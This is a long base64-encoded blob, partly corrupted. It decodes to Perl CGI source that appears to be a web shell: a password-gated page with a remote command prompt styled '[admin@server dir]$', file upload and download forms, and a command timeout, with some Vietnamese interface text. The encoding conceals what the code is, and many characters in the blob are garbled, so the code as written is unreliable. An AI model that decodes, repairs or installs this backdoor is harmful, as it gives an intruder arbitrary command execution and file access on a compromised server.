WijdGlvb4IgPyB01GlzLmN6cnNvc4h01GlzLmN6cnJlbnRUZXh0KSAeIHR21XM3YoVyca9yKSAeICI4KTsKICAgIHR21XM3YoVycmV3dEN2YXIrKzsKICAgIHNldFRpbWVvdXQ2ImRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCc4ICsgdGhpcyilbGVtZWi0LmlkICsgI4cpLnRicGl3Z6Rl5HQ3cnV3KCk4LCB01GlzLml3dGVydmFsKTsKICB9IGVscaUg5w2JdGhpcyijdXJyZWi0VGVudCA9ICI4Ow2JdGhpcyijdXJyZWi0Qahhc4A9IDA7C4AgICAgICAgdGhpcyiydWi31WinID0gZmFscaU7C4AgICAgICAgdGhpcyim1WipcahlZENhbGx4YWNrKCk7C4AgfQp9CjwvcaNy1XB0PjwvcHJlPjx4cju8caNy1XB0IHRicGU9InRl5HQv1mFaYXNjcmlwdCI+CmildyBU5XBpbmdUZXh0KGRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCJ2YWNrI4ksIDMwLCBmdWijdGlvb4hpKXsgdmFyIGFyID0gbmVoIEFycmFiKCJfI4w4I4k7IHJldHVyb4A4ICIgKyBhcltpLmxlbmd01CAlIGFyLmxlbmd01F07IH0pOwpU5XBpbmdUZXh0LnJ6bkFsbCgpOw28LoNjcmlwdDuKRUiECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIGV3Ya9kZSB2dG6sIHNwZWNpYWwgYahhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXJsRWijbaRlKCQp5w2JbXkgJHN0c4A9IHN21WZ0Ow2JJHN0c4A9f4BzLyhbXkEtWmEt5jAtOV0pLoNwcml3dGY2I4UlJTAyWCIsIG9yZCgkMSkpLoNlZzsKCXJldHVyb4AkcoRyOwp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQg1HRtbCBzcGVj1WFsIGN2YXJzC4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IEh0bWxTcGVj1WFsQahhcnM2JCl7Cglt5SAkdGVudCA9IHN21WZ0Ow2JJHRl5HQgPXugcy8mLyZhbXA7Lac7CgkkdGVudCA9f4BzLyIvJnF6boQ7Lac7CgkkdGVudCA9f4BzLycvJ4MwMzk7Lac7CgkkdGVudCA9f4BzLzwvJmx0Oy9nOw2JJHRl5HQgPXugcy8+LyZndDsvZzsKCXJldHVyb4AkdGVudDsKfQ2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tC4MgQWRkIGxpbmsgZm9yIGRpcmVjdG9y5Q2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6Y4BBZGRM1WirRGlyKCQpCnsKCW6iICRhYz6z1GlmdDsKCW6iIEBk1XI9KCk7CglpZ4gkVal3TlQpCgl7CgkJQGRpcj6zcGxpdCgvXFwvLCRDdXJyZWi0RGlyKTsKCX6lbHNlCgl7CgkJQGRpcj6zcGxpdCg4LyIsJnRy1W02JEN6cnJlbnRE1XIpKTsKCX0KCW6iICRwYXR2PSI4Ow2JbXkgJHJlcoVsdD04IjsKCWZvcmVhYaggKEBk1XIpCgl7CgkJJHBhdGggLj0gJF83JFBhdGhTZXA7CgkJJHJlcoVsdCu9IjxhIGhyZWY9Jz9hPSI3JGFjL4ImZD04LmV3Ya9kZV94YXNlNjQ2JHBhdGgpL4InP4I3JF83JFBhdGhTZXA3IjwvYTu4Ow2JfQ2JcmV0dXJ3ICRyZXN6bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIFBy1Wi0cyB01GUgbWVzcaFnZSB01GF0IGl3Zm9ybXMgdGhlIHVzZXIgbaYgYSBmYWlsZWQgbG9n1WuKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMbadpbkZh1WxlZE6lcoNhZaUK5w2JcHJpbnQgPDxFTkQ7Ck0mIzcuNTM7dCBL1CYjNzg0OTt6Ojx4cjiMbadpb4BpbmNvcnJlYoQ8YnI+PGJyPgpFTkQKfQ2KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIFBy1Wi0cyB01GUgSFRNTCBmboJtIGZvc4Bsbadn1WinIGl3C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IFBy1Wi0TG9n1WiGboJtCnsKCXBy1Wi0IDw8RUiEOw28Zm9ybSB3YW6lPSJmI4BtZXR2baQ9IlBPU6Q4IGFjdGlvbj04JFNjcmlwdExvYaF01W93Iju81WiwdXQgdHlwZT041GlkZGV3I4B3YW6lPSJhI4BaYWx6ZT04bG9n1Wu4Pk0mIzcuNTM7dCBL1CYjNzg0OTt6O4BJ5mFhcoM8YnI+TSYjNzg6Mzt0IEt2J4MoODQiOoUePGl3cHV0IHRicGU9InBhcoNoboJkI4B3YW6lPSJwIju81WiwdXQgYaxhcoM9InN6Ym6pdCIgdHlwZT04coV4bWl0I4BaYWx6ZT04RWi0ZXI4PjwvZm9ybTuKRUiECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIFBy1Wi0cyB01GUgZm9vdGVyIGZvc4B01GUgSFRNTCBQYWdlC4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IFBy1Wi0UGFnZUZvboRlcgp7Cglwcml3dCA4PGJyPjxmbai0IGNvbG9yPXJlZDu9PC9mbai0Pjxmbai0IGNvbG9yPXJlZDutLS0mZoQ7K4AgPGZvbnQgYa9sboI9MDBGRjAwPkVk1XRlZCB45SAeOltJ5mFhcoNdOj2gPC9mbai0P4AgK4ZsdDstLS09PC9mbai0PjwvYa9kZTu8LaNlbnRlcju8LaJvZHk+PC92dG6sP4I7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIFJldHJl1XZlcyB01GUgdmFsdWVzIG9mIGFsbCBjba9r1WVzL4BU1GUgYa9v1allcyBjYWugYmUgYWNjZXNzZXMgdXNpbmcgdGhlC4MgdmFy1WF4bGUgJENvbatpZXN7Jyd9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IEdldENvbatpZXMK5w2JQGh0dHBjba9r1WVzID0gcoBs1XQ2LzsgLywkRUiW5ydIVFRQX0NPT0tJRSd9KTsKCWZvcmVhYaggJGNvbatpZShA1HR0cGNvbatpZXMpCgl7CgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjba9r1WUpOw2JCSRDba9r1WVz5yRpZH0gPSAkdmFsOw2JfQp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcml3dHMgdGhlIHNjcmVlb4Bo1GV3IHR2ZSB6caVyIGxvZoMgboV0C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IFBy1Wi0TG9nboV0UaNyZWV3CnsKCXBy1Wi0ICJDbai3ZWN01W93IGNsboNlZCB45SBmboJl1Wd3IGhvcoQ3PGJyPjx4cju4Owp9coV4IFBlcmZvcm6MbadvdXQK5w2JcHJpbnQgIlNldC6Dba9r1WUeIFNBVkVEUFdEPTtcb4I7ICMgcmVtboZlIHBhcoNoboJkIGNvbatpZQ2JJlBy1Wi0UGFnZUhlYWRlc4g4cCIpOw2JJlBy1Wi0TG9nboV0UaNyZWV3Ow2KCSZQcml3dExvZal3UaNyZWV3Ow2JJlBy1Wi0TG9n1WiGboJtOw2JJlBy1Wi0UGFnZUZvboRlcjsKCWVu1XQ7Cn0KcoV4IFBlcmZvcm6Mbadpb4AK5w2J1WY2JExvZal3UGFzcodvcmQgZXEgJFBhcoNoboJkKSAjIHBhcoNoboJkIG6hdGN2ZWQKCXsKCQlwcml3dCA4UaV0LUNvbatpZT2gU0FWRURQV0Q9JExvZal3UGFzcodvcmQ7XGu4Ow2JCSZQcml3dFBhZaVIZWFkZXI7CgkJcHJpbnQgJkxpcoRE1XI7Cgl9CgllbHNlICMgcGFzcodvcmQgZGlkb4d0IG6hdGN2Cgl7CgkJJlBy1Wi0UGFnZUhlYWRlc4g4cCIpOw2JCSZQcml3dExvZal3UaNyZWV3Ow2JCWlmKCRMbadpblBhcoNoboJkIGilICI4KSAjIHNvbWUgcGFzcodvcmQgdaFzIGV3dGVyZWQKCQl7CgkJCSZQcml3dExvZal3RmFpbGVkTWVzcaFnZTsKCgkJfQ2JCSZQcml3dExvZal3Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOw2JCWVu1XQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIFBy1Wi0cyB01GUgSFRNTCBmboJtIHR2YXQgYWxsbodzIHR2ZSB6caVyIHRvIGV3dGVyIGNvbW6hbmRzC4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IFBy1Wi0Qa9tbWF3ZExpbmVJbnB6dEZvcm0K5w2JJEV3Ya9kZUN6cnJlbnRE1XIgPSBFbmNvZGVE1XI2JEN6cnJlbnRE1XIpOw2JbXkgJGRpcj0gIjxzcGF3IHN05WxlPSdmbai0O4AxMXB0IFZlcmRhbmE7IGZvbnQtdaVpZah0O4B4baxkOyc+I4umQWRkTGl310Rpc4g4Ya9tbWF3ZCIpL4I8LoNwYWu+IjsKCSRQcm9tcHQgPSAkVal3TlQgPyA4JGRpc4A+ICIgO4A4PGZvbnQgYa9sboI9JyNGRkZGRkYnPlthZG6pblxAJFNlcnZlckihbWUgJGRpcl6cJDwvZm93dDugIjsKCXJldHVyb4A8PEVORDsKPGZvcm0gbmFtZT04Z4IgbWV01G9kPSJQT6NUI4BhYoRpbau9I4RTYoJpcHRMbaNhdGlvb4IgbaiTdWJt1XQ9IkV3Ya9kZXI2JaMnKSI+Cg281WiwdXQgdHlwZT041GlkZGV3I4B3YW6lPSJhI4BaYWx6ZT04Ya9tbWF3ZCI+Cg281WiwdXQgdHlwZT041GlkZGV3I4B3YW6lPSJkI4BaYWx6ZT04JEV3Ya9kZUN6cnJlbnRE1XI4Pg2kUHJvbXB0CjxpbnB6dCB05XBlPSJ0ZXh0I4Bz1XplPSI0MCIgbmFtZT04YyIg1WQ9ImM4Pg281WiwdXQgYaxhcoM9InN6Ym6pdCIgdHlwZT04coV4bWl0I4BaYWx6ZT04RWi0ZXI4Pg28LaZvcm0+CkVORAp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcml3dHMgdGhlIEhUTUwgZm9ybSB01GF0IGFsbG9ocyB01GUgdXNlc4B0byBkbod3bG9hZCBm1Wxlcw2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6Y4BQcml3dEZpbGVEbod3bG9hZEZvcm0K5w2JJEV3Ya9kZUN6cnJlbnRE1XIgPSBFbmNvZGVE1XI2JEN6cnJlbnRE1XIpOw2JbXkgJGRpc4A9ICZBZGRM1WirRGlyKCJkbod3bG9hZCIpOyAKCSRQcm9tcHQgPSAkVal3TlQgPyA4JGRpc4A+ICIgO4A4WaFkbWl3XEAkUaVydmVyTmFtZSAkZGlyXVwkICI7CglyZXR6cmugPDxFTkQ7CjxmboJtIGihbWU9ImY4IG6ldGhvZD04UE9TVCIgYWN01W93PSIkUaNy1XB0TG9jYXRpbau4Pg281WiwdXQgdHlwZT041GlkZGV3I4B3YW6lPSJkI4BaYWx6ZT04JEV3Ya9kZUN6cnJlbnRE1XI4Pg281WiwdXQgdHlwZT041GlkZGV3I4B3YW6lPSJhI4BaYWx6ZT04ZG9obmxvYWQ4Pg2kUHJvbXB0IGRvdaisbaFkPGJyPjx4cjuKVCYjMjM0OaugRmlsZT2gPGl3cHV0IGNsYXNzPSJm1WxlI4B05XBlPSJ0ZXh0I4B3YW6lPSJmI4Bz1XplPSIzNSI+PGJyPjx4cjuKVCYjNzg0MztpIFh6J4MoODgiOainIDxpbnB6dCBjbGFzcz04coV4bWl0I4B05XBlPSJzdWJt1XQ4IHZhbHVlPSJFbnRlc4I+Cg28LaZvcm0+CkVORAp9Cg2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tC4MgUHJpbnRzIHR2ZSBIVE6MIGZvcm0gdGhhdCBhbGxvdoMgdGhlIHVzZXIgdG8gdXBsbaFkIGZpbGVzC4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IFBy1Wi0RmlsZVVwbG9hZEZvcm0K5w2JJEV3Ya9kZUN6cnJlbnRE1XIgPSBFbmNvZGVE1XI2JEN6cnJlbnRE1XIpOw2JbXkgJGRpcj0gJkFkZExpbmtE1XI2InVwbG9hZCIpOw2JJFByba6wdCA9ICRX1WiOVCA/ICIkZGlyIDugI4AeICJbYWRt1WicQCRTZXJaZXJOYW6lICRk1XJdXCQgIjsKCXJldHVyb4A8PEVORDsKPGZvcm0gbmFtZT04Z4IgZWijdHlwZT04bXVsdGlwYXJ0LaZvcm0tZGF0YSIgbWV01G9kPSJQT6NUI4BhYoRpbau9I4RTYoJpcHRMbaNhdGlvb4I+C4RQcm9tcHQgdXBsbaFkPGJyPjx4cjuKVCYjMjM0OaugRmlsZT2gPGl3cHV0IGNsYXNzPSJm1WxlI4B05XBlPSJm1WxlI4B3YW6lPSJmI4Bz1XplPSIzNSI+PGJyPjx4cjuKQyYjMjI0OakgJ4MyNzI7J4MoODYzOoQeICZ3YnNwOzxpbnB6dCB05XBlPSJj1GVj1aJv5CIgbmFtZT04byIg1WQ9InVwI4BaYWx6ZT04boZlcndy1XRlIjuKPGxhYmVsIGZvcj04dXA4P4YjMjcyOyYjMjMyOyBMJ4MyMzQ7b4BOJ4MoODcxOoUgRmlsZSBUc4YjMjQiOainIEi2YXU8LaxhYmVsPjx4cju8YnI+ClQmIzcuNDM71SBMJ4MyMzQ7bj2mbmJzcDsmbmJzcDsmbmJzcDs81WiwdXQgYaxhcoM9InN6Ym6pdCIgdHlwZT04coV4bWl0I4BaYWx6ZT04RWi0ZXI4Pg281WiwdXQgdHlwZT041GlkZGV3I4B3YW6lPSJkI4BaYWx6ZT04JEV3Ya9kZUN6cnJlbnRE1XI4Pg281WiwdXQgYaxhcoM9InN6Ym6pdCIgdHlwZT041GlkZGV3I4B3YW6lPSJhI4BaYWx6ZT04dXBsbaFkIjuKPC9mboJtPgpFTkQKfQpzdWIgQa9tbWF3ZFRpbWVvdXQK5w2J1WY2ISRX1WiOVCkKCXsKCQlhbGFybSgwKTsKCQlyZXR6cmugPDxFTkQ7CjwvdGVudGFyZWE+PGJyPjxmbai0IGNvbG9yPXllbGxvdziDba6tYWikIGVuYaVlZGVkIG6h5GltdW0gdGltZSBvZ4AkQa9tbWF3ZFRpbWVvdXREdXJhdGlvb4BzZWNvbmQ2cyk3PC9mbai0Pjx4cju8Zm93dCBz1XplPScaJyBjbaxvcj6yZWQ+SalsbGVkIGl0ITwvZm93dDuKRUiECgl9Cn0KcoV4IFBy1Wi0RG9obmxvYWRM1WirUGFnZQp7CglsbaNhbCgkRmlsZVVybCkgPSBAXzsKCW6iICRyZXN6bHQ9I4I7CglpZ4gtZSAkRmlsZVVybCkgIyBpZ4B01GUgZmlsZSBl5GlzdHMKCXsKCQkjIGV3Ya9kZSB01GUgZmlsZSBs1WirIHNvIHdlIGNhb4BzZWikIGl0IHRvIHR2ZSB4cm9ocaVyCgkJJEZpbGVVcmwgPXugcy82W6ihLXpBLV2wLTldKS8nJSc3dWiwYWNrKCJIK4IsJDEpLaVnOw2JCSREbod3bG9hZExpbmsgPSA4JFNjcmlwdExvYaF01W93PaE9ZG9obmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE6ldGFIZWFkZXIgPSA4PG6ldGEgSFRUUC6FUVVJVj6cIlJlZnJlcahcI4BDT0iURUiUPVw4MTsgVVJMPSREbod3bG9hZExpbmtcIju4Ow2JCSZQcml3dFBhZaVIZWFkZXI2ImM4KTsKCQkkcmVzdWx0ICu9IDw8RUiEOwpTZWik1WinIEZpbGUgJFRyYWizZmVyRmlsZSu3Ljx4cjuKCklmIHR2ZSBkbod3bG9hZCBkbaVzIGivdCBzdGFydCBhdXRvbWF01WNhbGxiLA28YSB2cmVmPSIkRG9obmxvYWRM1WirIjiDbGlj1yBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0ICu9ICZQcml3dENvbW6hbmRM1WilSWiwdXRGboJtOw2JfQ2JZWxzZSAjIGZpbGUgZG9lcaundCBl5GlzdA2J5w2JCSRyZXN6bHQgLj0gIkZh1WxlZCB0byBkbod3bG9hZCAkRmlsZVVybD2gJCE4Ow2JCSRyZXN6bHQgLj0gJlBy1Wi0RmlsZURvdaisbaFkRm9ybTsKCX0KCXJldHVyb4AkcmVzdWx0Owp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBU1GlzIGZ6bmN01W93IHJlYWRzIHR2ZSBzcGVj1WZpZWQgZmlsZSBmcm9tIHR2ZSBk1XNrIGF3ZCBzZWikcyBpdCB0byB01GUKIyB4cm9ocaVyLCBzbyB01GF0IGl0IGNhb4B4ZSBkbod3bG9hZGVkIGJiIHR2ZSB6caVyLg2jIEFyZoVtZWi0IDEeIEZ6bGxiIHF6YWxpZmllZCBwYXR2bmFtZSBvZ4B01GUgZmlsZSB0byB4ZSBzZWi0Lg2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6Y4BTZWikRmlsZVRvQnJvdoNlcgp7Cglt5SAkcmVzdWx0ID0gI4I7CglsbaNhbCgkUaV3ZEZpbGUpID0gQF87CglpZ4hvcGV3KFNFTkRGSUxFLCAkUaV3ZEZpbGUpKSAjIGZpbGUgboBlbmVkIGZvc4ByZWFk1WinCgl7CgkJ1WY2JFdpbkiUKQ2JCXsKCQkJYml3bW9kZShTRUiERklMRSk7CgkJCWJpbm6vZGU2U6RET6VUKTsKCQl9CgkJJEZpbGVT1XplID0gKHN0YXQ2JFNlbmRG1WxlKSlbN607CgkJKCRG1WxlbmFtZSA9ICRTZWikRmlsZSkgPXugIG0hKFt5L6icXF0qKSQhOw2JCXBy1Wi0ICJDbai0ZWi0LVRicGUeIGFwcGxpYaF01W93LogtdWirbm9oblx3IjsKCQlwcml3dCA4Qa93dGV3dC6MZWindGgeICRG1WxlUaleZVx3IjsKCQlwcml3dCA4Qa93dGV3dC6E1XNwboNpdGlvbj2gYXR0YWN2bWV3dDsgZmlsZWihbWU9JDFcblx3IjsKCQlwcml3dCBo1GlsZSg8U0VOREZJTEU+KTsKCQljbG9zZShTRUiERklMRSk7CgkJZXhpdCgxKTsKCX0KCWVscaUgIyBmYWlsZWQgdG8gboBlb4Bm1WxlCgl7CgkJJHJlcoVsdCA3PSA4RmFpbGVkIHRvIGRvdaisbaFkICRTZWikRmlsZT2gJCE4Ow2JCSRyZXN6bHQgLj0mUHJpbnRG1WxlRG9obmxvYWRGboJtOw2JfQ2JcmV0dXJ3ICRyZXN6bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIFR21XMgZnV3YoRpbaug1XMgYaFsbGVkIHd2ZWugdGhlIHVzZXIgZG9obmxvYWRzIGEgZmlsZSugSXQgZGlzcGxh5XMgYSBtZXNzYWdlC4MgdG8gdGhlIHVzZXIgYWikIHByboZpZGVzIGEgbGl31yB01HJvdWd2IHd21WN2IHR2ZSBm1WxlIGNhb4B4ZSBkbod3bG9hZGVkLg2jIFR21XMgZnV3YoRpbaug1XMgYWxzbyBjYWxsZWQgdahlb4B01GUgdXNlc4BjbGlj1oMgbaugdGhhdCBs1WirL4BJb4B01GlzIGNhcaUsC4MgdGhlIGZpbGUg1XMgcmVhZCBhbmQgcaV3dCB0byB01GUgYnJvdoNlc4uKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVn1WiEbod3bG9hZAp7CgkkRWijbaRlQoVycmV3dERpc4A9IEV3Ya9kZURpc4gkQoVycmV3dERpc4k7CgkjIGdldCBmdWxs5SBxdWFs1WZpZWQgcGF01CBvZ4B01GUgZmlsZSB0byB4ZSBkbod3bG9hZGVkCglpZ4g2JFdpbkiUICYgKCRUcmF3caZlckZpbGUgPXugbS95XFx8X4ueLykpIHwKCQk2ISRX1WiOVCAmICgkVHJhbnNmZXJG1WxlID6+IG0vXlwvLykpKSAjIHBhdGgg1XMgYWJzbax6dGUKCXsKCQkkVGFyZaV0RmlsZSA9ICRUcmF3caZlckZpbGU7Cgl9CgllbHNlICMgcGF01CBpcyByZWxhdGlaZQ2J5w2JCWN2boA2JFRhcmdldEZpbGUpIGlmKCRUYXJnZXRG1WxlID0gJEN6cnJlbnRE1XIpID6+IG0vW6xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXA3JFRyYWizZmVyRmlsZTsKCX0KCglpZ4gkToB01W93cyBlcSA4Za84KSAjIHdlIGhhdmUgdG8gcaV3ZCB01GUgZmlsZQ2J5w2JCSZTZWikRmlsZVRvQnJvdoNlc4gkVGFyZaV0RmlsZSk7Cgl9CgllbHNlICMgdaUg1GFaZSB0byBzZWikIG93bHkgdGhlIGxpbmsgcGFnZQ2J5w2JCSZQcml3dERvdaisbaFkTGl316BhZaU2JFRhcmdldEZpbGUpOw2JfQp9Cg2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tC4MgVGhpcyBmdWijdGlvb4BpcyBjYWxsZWQgdahlb4B01GUgdXNlc4BoYWi0cyB0byB6cGxvYWQgYSBm1WxlL4BJZ4B01GUKIyBm1WxlIGlzIGivdCBzcGVj1WZpZWQsIGl0IGRpcoBsYXlzIGEgZm9ybSBhbGxvdal3ZyB01GUgdXNlc4B0byBzcGVj1WZiIGEKIyBm1WxlLCBvdGhlcndpcaUg1XQgcoRhcnRzIHR2ZSB6cGxvYWQgcHJvYaVzcyuKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsbaFkRmlsZQp7CgkjIGlmIGivIGZpbGUg1XMgcoBlYalm1WVkLCBwcml3dCB01GUgdXBsbaFkIGZvcm0gYWdh1WuKCWlmKCRUcmF3caZlckZpbGUgZXEgI4IpCgl7CgkJcmV0dXJ3ICZQcml3dEZpbGVVcGxvYWRGboJtOw2KCX0KCW6iICRyZXN6bHQ9I4I7CgkjIHN0YXJ0IHR2ZSB6cGxvYWRpbmcgcHJvYaVzcw2JJHJlcoVsdCA3PSA4VCYjNzg0MztpIEwmIzIzNDt3O4AkVHJhbnNmZXJG1WxlIFQmIzcuOTk71SAkQoVycmV3dERpc4A3L4u8YnI+IjsKCgkjIGdldCB01GUgZnVsbGxiIHF6YWxpZmllZCBwYXR2bmFtZSBvZ4B01GUgZmlsZSB0byB4ZSBjcmVhdGVkCglj1G9wKCRUYXJnZXROYW6lKSBpZ4A2JFRhcmdldEihbWUgPSAkQoVycmV3dERpc4kgPXugbS9bXFxcL60kLzsKCSRUcmF3caZlckZpbGUgPXugbSE2W6uvXlxcXS2pJCE7CgkkVGFyZaV0TmFtZSA3PSAkUGF01FNlcCukMTsKCgkkVGFyZaV0RmlsZVNp5mUgPSBsZWindGg2JGl35ydm1WxlZGF0YSd9KTsKCSMg1WYgdGhlIGZpbGUgZXhpcoRzIGF3ZCBoZSBhcmUgbm90IHN6cHBvcaVkIHRvIG9aZXJocml0ZSBpdA2J1WY2LWUgJFRhcmdldEihbWUgJ4YgJE9wdGlvbnMgbmUgIm9aZXJocml0ZSIpCgl7CgkJJHJlcoVsdCA3PSA4VEgmIzcuNDU7dCBCJ4MoODQxOaksIFQmIzcuNzk7cCBU1WugT4YjMjI0OokgJ4MyNzI7J4MyMjc7IFQmIzcuOTE7b4BUJ4MoODQxOak3PGJyP4I7Cgl9CgllbHNlICMgZmlsZSBpcyB3boQgcHJlcaV3dA2J5w2JCWlmKG9wZWu2VVBMT0FERklMRSwgIjukVGFyZaV0TmFtZSIpKQ2JCXsKCQkJYml3bW9kZShVUExPQURGSUxFKSBpZ4AkVal3TlQ7CgkJCXBy1Wi0IFVQTE9BREZJTEUgJGl35ydm1WxlZGF0YSd9Ow2JCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlcoVsdCA3PSA41yYjMjMoOaN2IFR2J4M0MzI7J4MoODkiOaMeICRUYXJnZXRG1WxlUaleZSBC5XRlcyu8YnI+IjsKCQkJJHJlcoVsdCA3PSA4J4MyNzI7J4M0MzI7J4MoOTAxOainIEQmIzcuNTE7b4BG1WxlO4AkVGFyZaV0TmFtZTx4cju4Ow2JCX0KCQllbHNlCgkJ5w2JCQkkcmVzdWx0ICu9ICJU1CYjNzg0NTt0IEImIzcuNDE71T2gJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0ICu9ICZQcml3dENvbW6hbmRM1WilSWiwdXRGboJtOw2JcmV0dXJ3ICRyZXN6bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIFR21XMgZnV3YoRpbaug1XMgYaFsbGVkIHd2ZWugdGhlIHVzZXIgdaF3dHMgdG8gZG9obmxvYWQgYSBm1WxlL4BJZ4B01GUKIyBm1WxlbmFtZSBpcyB3boQgcoBlYalm1WVkLCBpdCBk1XNwbGFicyBhIGZvcm0gYWxsbodpbmcgdGhlIHVzZXIgdG8gcoBlYalm5SBhC4MgZmlsZSwgboR2ZXJo1XNlIGl0IGRpcoBsYXlzIGEgbWVzcaFnZSB0byB01GUgdXNlc4BhbmQgcHJvdmlkZXMgYSBs1WirC4MgdGhyboVn1CAgdahpYaggdGhlIGZpbGUgYaF3IGJlIGRvdaisbaFkZWQ3C4MtLS0tLS0tLS0tLS0tLS0tLS